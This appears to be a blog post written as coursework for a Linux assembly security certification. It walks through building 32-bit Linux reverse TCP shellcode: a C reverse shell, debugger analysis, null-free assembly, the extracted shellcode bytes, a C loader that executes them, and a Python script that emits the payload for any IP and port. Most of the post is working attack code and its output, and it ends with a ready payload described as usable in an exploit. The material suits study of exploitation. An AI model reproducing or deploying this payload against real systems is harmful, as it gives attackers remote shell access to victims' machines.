The blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-990
Assignment #2
Goals
- Explain the process of how to create Reverse TCP Shell shellcode
- The shellcode should:
- Reverse connects to configured IP and Port
- Execs shell on incoming connection
- The IP address and port number should be easily configurable
Phases
To accomplish this I’m going to split this into four phases:
- Understand the system calls made by creating and analyzing a C program written by reading the linux programmers documentation that would behave the same way.
- Debug the C program to figure out how parameters are being passed around in memory or through registers to make it work.
- Writing assembly that can be used as shellcode that does the same thing (meaning it must at least not have any null bytes while still being functional).
- Write a wrapper python script that lets you specify a port and it will emmit the full shellcode ready for use.
Phase 1: Writing a Reverse TCP shell in C
Just as with the TCP Bind shell research (which you can read here => SLAE32: Creating TCP Bind Shellcode) I read up on what system calls are required to reverse connect back out to an IP address and port.
It appears that the reverse shell should be simpler than the bind shell. The procedure for making the connection should look similar to:
socket->connect->dup2->dup2->dup2->execve
The prototypes of the functions that we will want to call are in the following order below (with the man page link referenced):
1
2
3
4
5
6
7
8
/* http://man7.org/linux/man-pages/man2/socket.2.html */
int socket(int domain, int type, int protocol);
/* http://man7.org/linux/man-pages/man2/connect.2.html */
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
/* http://man7.org/linux/man-pages/man2/dup.2.html */
int dup2(int oldfd, int newfd);
/* http://man7.org/linux/man-pages/man2/execve.2.html */
int execve(const char *filename, char *const argv[], char *const envp[]);
I wrote the following C program that creates this reverse shell and compiled and ran it to confirm it functions properly.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define NULL 0
int socket(int domain, int type, int protocol);
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
int dup2(int oldfd, int newfd);
int execve(const char *filename, char *const argv[], char *const envp[]);
int close(int fd);
int main() {
char* address = "192.168.1.122";
int port = 6789;
/* this creates a new socket but it has no address assigned to it yet */
int sockfd = socket(AF_INET /* 2 */, SOCK_STREAM /* 1 */, 0);
/* create sockaddr_in structure for use with connect function */
struct sockaddr_in sock_in;
sock_in.sin_family = AF_INET;
sock_in.sin_addr.s_addr = inet_addr(address);
sock_in.sin_port = htons(port);
/* perform connect to target IP address and port */
connect(sockfd, (struct sockaddr*)&sock_in, sizeof(struct sockaddr_in));
/* duplicate file descriptors for STDIN/STDOUT/STDERR */
for (int n = 0; n <= 2; ++n) {
dup2(sockfd, n);
}
/* execute /bin/sh */
execve("/bin/sh", NULL, NULL);
close(sockfd);
return 0;
}
Using netcat to listen on port 6789
Building and running reverse shell
Phase 2: Understanding how parameters are passed around using strace and GDB
The idea of debugging this was to set a breakpoint at each system call and analyze the registers and stack to see what is needed at the point of the call. With this information we can then come up with our own way to get the same values setup properly in a shellcode safe manner.
We can get a quick view of the calls with strace as seen here (this is useful and is helpful when looking at the assembly dump in GDB). In most cases, you can see the value of each parameter that was used to the function calls which would be either on the stack or in one of the registers. In the case of a parameter value that is enclosed in curly braces {} this is likely a pointer to a struct that resides on the stack.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
[sengen@manjaro-x86 assignment2]$ strace -e socket,connect,dup2,execve ./rev_shell
execve("./rev_shell", ["./rev_shell"], 0xbfd4efe8 /* 55 vars */) = 0
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(6789), sin_addr=inet_addr("192.168.1.122")}, 16) = 0
dup2(3, 0) = 0
dup2(3, 1) = 1
dup2(3, 2) = 2
execve("/bin/sh", NULL, NULL) = 0
socket(AF_UNIX, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 4
connect(4, {sa_family=AF_UNIX, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
socket(AF_UNIX, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 4
connect(4, {sa_family=AF_UNIX, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=31304, si_uid=1000, si_status=0, si_utime=0, si_stime=0} ---
+++ exited with 0 +++
The following is the dump of the main function. I put breakpoints before each function call I was interested in and printed the relevant register or stack information for use when I write my shellcode.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
gdb$ disassemble main
Dump of assembler code for function main:
0x0040068d <+0>: lea ecx,[esp+0x4]
0x00400691 <+4>: and esp,0xfffffff0
0x00400694 <+7>: push DWORD PTR [ecx-0x4]
0x00400697 <+10>: push ebp
0x00400698 <+11>: mov ebp,esp
0x0040069a <+13>: push ebx
0x0040069b <+14>: push ecx
0x0040069c <+15>: sub esp,0x30
0x0040069f <+18>: call 0x400590 <__x86.get_pc_thunk.bx>
0x004006a4 <+23>: add ebx,0x195c
0x004006aa <+29>: mov eax,gs:0x14
0x004006b0 <+35>: mov DWORD PTR [ebp-0xc],eax
0x004006b3 <+38>: xor eax,eax
0x004006b5 <+40>: lea eax,[ebx-0x17cc]
0x004006bb <+46>: mov DWORD PTR [ebp-0x28],eax
0x004006be <+49>: mov DWORD PTR [ebp-0x24],0x1a85
0x004006c5 <+56>: sub esp,0x4
; socket --------------------------------------------------------------------------
0x004006c8 <+59>: push 0x0
0x004006ca <+61>: push 0x1
0x004006cc <+63>: push 0x2
0x004006ce <+65>: call 0x400500 <socket@plt>
; gdb$ x/3w $esp
; 0xbffff010: 0x00000002 0x00000001 0x00000000
;
; parameters:
; 0x00000002 = AF_INET
; 0x00000001 = SOCK_STREAM
; 0x00000000 = IPPROTO_IP
; ---------------------------------------------------------------------------------
; connect -------------------------------------------------------------------------
0x004006d3 <+70>: add esp,0x10
0x004006d6 <+73>: mov DWORD PTR [ebp-0x20],eax
0x004006d9 <+76>: mov WORD PTR [ebp-0x1c],0x2
0x004006df <+82>: sub esp,0xc
0x004006e2 <+85>: push DWORD PTR [ebp-0x28]
0x004006e5 <+88>: call 0x400510 <inet_addr@plt>
0x004006ea <+93>: add esp,0x10
0x004006ed <+96>: mov DWORD PTR [ebp-0x18],eax
0x004006f0 <+99>: mov eax,DWORD PTR [ebp-0x24]
0x004006f3 <+102>: movzx eax,ax
0x004006f6 <+105>: sub esp,0xc
0x004006f9 <+108>: push eax
0x004006fa <+109>: call 0x4004d0 <htons@plt>
0x004006ff <+114>: add esp,0x10
0x00400702 <+117>: mov WORD PTR [ebp-0x1a],ax
0x00400706 <+121>: sub esp,0x4
0x00400709 <+124>: push 0x10
0x0040070b <+126>: lea eax,[ebp-0x1c]
0x0040070e <+129>: push eax
0x0040070f <+130>: push DWORD PTR [ebp-0x20]
0x00400712 <+133>: call 0x400520 <connect@plt>
; gdb$ x/3w $esp
; 0xbffff010: 0x00000003 0xbffff03c 0x00000010
;
; parameters:
; 0x00000003 = sockfd
; 0xbffff03c = address of sockaddr struct
;
; gdb$ x/8c 0xbffff03c
; 0xbffff03c: 0x2 0x0 0x1a 0x85 0xc0 0xa8 0x1 0x7a
;
; parameters:
; 0x2 0x0 = AF_INET
; 0x1a 0x85 = Port number (6789)
; 0xc0 0xa8 0x1 0x7a = IPv4 address (192.168.1.122)
gdb$ x/13b $ebp-0x18
0xbffff030: 0xc0 0xa8 0x01 0x7a 0xf4 0xf0 0xff 0xbf
0xbffff038: 0xfc 0xf0 0xff 0xbf 0x00
; ---------------------------------------------------------------------------------
; dup2 ----------------------------------------------------------------------------
0x00400717 <+138>: add esp,0x10
0x0040071a <+141>: mov DWORD PTR [ebp-0x2c],0x0
0x00400721 <+148>: jmp 0x400738 <main+171>
0x00400723 <+150>: sub esp,0x8
0x00400726 <+153>: push DWORD PTR [ebp-0x2c]
0x00400729 <+156>: push DWORD PTR [ebp-0x20]
0x0040072c <+159>: call 0x4004c0 <dup2@plt>
; gdb$ x/2w $esp
; 0xbffff010: 0x00000003 0x00000000
; gdb$ x/2w $esp
; 0xbffff010: 0x00000003 0x00000001
; gdb$ x/2w $esp
; 0xbffff010: 0x00000003 0x00000002
;
; parameters:
; 0x00000003 = oldfd
; 0x0000000[0-2] = newfd
; ---------------------------------------------------------------------------------
; execve --------------------------------------------------------------------------
0x00400731 <+164>: add esp,0x10
0x00400734 <+167>: add DWORD PTR [ebp-0x2c],0x1
0x00400738 <+171>: cmp DWORD PTR [ebp-0x2c],0x2
0x0040073c <+175>: jle 0x400723 <main+150>
0x0040073e <+177>: sub esp,0x4
0x00400741 <+180>: push 0x0
0x00400743 <+182>: push 0x0
0x00400745 <+184>: lea eax,[ebx-0x17be]
0x0040074b <+190>: push eax
0x0040074c <+191>: call 0x4004f0 <execve@plt>
; gdb$ x/a $esp
; 0xbffff010: 0x400842 => "/bin/sh"
; gdb$ x/2c $esp+4
; 0xbffff014: 0x0 0x0
;
; parameters:
; 0x4008a4 = pointer to filename on stack
; 0x0 = argv[]
; 0x0 = anvp[]
; ---------------------------------------------------------------------------------
0x00400751 <+196>: add esp,0x10
0x00400754 <+199>: sub esp,0xc
0x00400757 <+202>: push DWORD PTR [ebp-0x20]
0x0040075a <+205>: call 0x400530 <close@plt>
0x0040075f <+210>: add esp,0x10
0x00400762 <+213>: mov eax,0x0
0x00400767 <+218>: mov edx,DWORD PTR [ebp-0xc]
0x0040076a <+221>: xor edx,DWORD PTR gs:0x14
0x00400771 <+228>: je 0x400778 <main+235>
0x00400773 <+230>: call 0x400800 <__stack_chk_fail_local>
0x00400778 <+235>: lea esp,[ebp-0x8]
0x0040077b <+238>: pop ecx
0x0040077c <+239>: pop ebx
0x0040077d <+240>: pop ebp
0x0040077e <+241>: lea esp,[ecx-0x4]
0x00400781 <+244>: ret
End of assembler dump.
Phase 3: Writing shellcode that creates a TCP reverse shell
Now that we have an understanding of what is happening at an assembly level behind the scenes we will convert it into usable shellcode. Things to keep in mind here is that we cannot have any null bytes, size matters, and that the target address and port number should be configurable.
socket
We start by establishing a socket using socketcall. This will return to us a sockfd identifier that we will need to save for use in future calls.
1
2
3
4
5
6
7
8
9
xor eax, eax ; zero out eax
mov ebx, eax ; zero out ebx
push eax ; push 0 to stack (protocol: 0 (nonblocking))
mov al, 0x66 ; socketcall
mov bl, 1 ; sys_socket
push ebx ; push 1 to stack (type: SOCK_STREAM)
push 2 ; domain: AF_INET
mov ecx, esp ; save pointer to stack
int 0x80
connect
We now connect to a target IP address and port. In this example I’m using the IP address 192.168.1.122 and port 6789. These values must be in network byte order and I have written a script to generate these values for you here =>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
mov edi,eax ; save sockfd
mov al,0x66 ; socketcall
mov bl,3 ; sys_connect
push 0x7a01a8c0 ; ip address (192.168.1.122) ; sockaddr_in struct
push word 0x851a ; port number (6789) ; sockaddr_in struct
push word 2 ; AF_INET ; sockaddr_in struct
mov ecx,esp ; save pointer to struct
push 0x10 ; push struct length
push ecx ; push pointer to struct
push edi ; push sockfd
mov ecx,esp ; save pointer to stack
int 0x80
dup2
The dup2 function will duplicate the STDOUT/STDIN/STDERR file descriptors onto the sockfd. This will allow all output to be seen on the sockfd from the connect so the receiver of the reverse shell can see all output.
1
2
3
4
5
6
7
8
9
xor ecx,ecx ; zero out ecx
mov ebx,edi
mov al, 0x3f ; dup2
dup2_loop:
int 0x80
mov al,0x3f ; dup2
inc ecx ; increment ecx until we hit 2
cmp ecx, 2 ; test if we're at 2
jle dup2_loop ; if not, keep calling dup2
execve
Finally, we actually exec /bin/sh to complete the reverse shell. At this point the target of the reverse shell should be able to enter commands and see responses.
1
2
3
4
5
6
7
8
9
mov al,0xb ; execve
xor edx,edx ; zero out edx
push edx ; push edx to stack to terminate string
push 0x68732f6e ; n/sh
push 0x69622f2f ; //bi
mov ebx, esp ; save pointer to stack to ecx
mov ecx, edx ; argv[]
;mov edx, edx ; envp[]
int 0x80
Using objdump we can verify no null bytes are in the assembly we just wrote
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
[sengen@manjaro-x86 assignment2]$ objdump -d ./rev_shell_asm -M intel
./rev_shell_asm: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 31 c0 xor eax,eax
8048062: 89 c3 mov ebx,eax
8048064: 50 push eax
8048065: b0 66 mov al,0x66
8048067: b3 01 mov bl,0x1
8048069: 53 push ebx
804806a: 6a 02 push 0x2
804806c: 89 e1 mov ecx,esp
804806e: cd 80 int 0x80
8048070: 89 c7 mov edi,eax
8048072: b0 66 mov al,0x66
8048074: b3 03 mov bl,0x3
8048076: 68 c0 a8 01 7a push 0x7a01a8c0
804807b: 66 68 1a 85 pushw 0x851a
804807f: 66 6a 02 pushw 0x2
8048082: 89 e1 mov ecx,esp
8048084: 6a 10 push 0x10
8048086: 51 push ecx
8048087: 57 push edi
8048088: 89 e1 mov ecx,esp
804808a: cd 80 int 0x80
804808c: 31 c9 xor ecx,ecx
804808e: 89 fb mov ebx,edi
8048090: b0 3f mov al,0x3f
08048092 <dup2_loop>:
8048092: cd 80 int 0x80
8048094: b0 3f mov al,0x3f
8048096: 41 inc ecx
8048097: 83 f9 02 cmp ecx,0x2
804809a: 7e f6 jle 8048092 <dup2_loop>
804809c: b0 0b mov al,0xb
804809e: 31 d2 xor edx,edx
80480a0: 52 push edx
80480a1: 68 6e 2f 73 68 push 0x68732f6e
80480a6: 68 2f 2f 62 69 push 0x69622f2f
80480ab: 89 e3 mov ebx,esp
80480ad: 89 d1 mov ecx,edx
80480af: cd 80 int 0x80
80480b1: b0 06 mov al,0x6
80480b3: 89 fb mov ebx,edi
80480b5: cd 80 int 0x80
Source Code
You can grab the source code for both the C and assembly programs from the following location:
https://github.com/tdmathison/SLAE32/tree/master/assignment2
We can extract the bytes with objdump
1
2
[sengen@manjaro-x86 assignment2]$ objdump -d ./rev_shell_asm|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x89\xc3\x50\xb0\x66\xb3\x01\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb0\x66\xb3\x03\x68\xc0\xa8\x01\x7a\x66\x68\x1a\x85\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x31\xc9\x89\xfb\xb0\x3f\xcd\x80\xb0\x3f\x41\x83\xf9\x02\x7e\xf6\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80\xb0\x06\x89\xfb\xcd\x80"
Add it to a test C program
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x31\xc0\x89\xc3\x50\xb0\x66\xb3\x01\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb0\x66\xb3\x03\x68\xc0\xa8\x01\x7a\x66\x68\x1a\x85\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x31\xc9\x89\xfb\xb0\x3f\xcd\x80\xb0\x3f\x41\x83\xf9\x02\x7e\xf6\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80\xb0\x06\x89\xfb\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Execute reverse shell shellcode
Client received shell and can execute commands
Phase 4: Write a wrapper python script
I wrote a helper python script that will generate the shellcode with target IP address and port.
1
2
3
4
5
6
7
8
9
10
[sengen@sengen assignment2]$ python create_rev_shell.py
Usage: create_rev_shell.py [options]
Generates Reverse TCP Shell shellcode.
Options:
-h, --help show this help message and exit
-i IP_ADDRESS, --ip-address=IP_ADDRESS
IP address to connect back to
-p PORT, --port=PORT Port to connect back to
Generating shellcode that can used in exploit or C program
1
2
[sengen@sengen assignment2]$ python create_rev_shell.py -i 192.168.1.122 -p 6789
\x31\xc0\x89\xc3\x50\xb0\x66\xb3\x01\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb0\x66\xb3\x03\x68\xc0\xa8\x01\x7a\x66\x68\x1a\x85\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x31\xc9\x89\xfb\xb0\x3f\xcd\x80\xb0\x3f\x41\x83\xf9\x02\x7e\xf6\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80\xb0\x06\x89\xfb\xcd\x80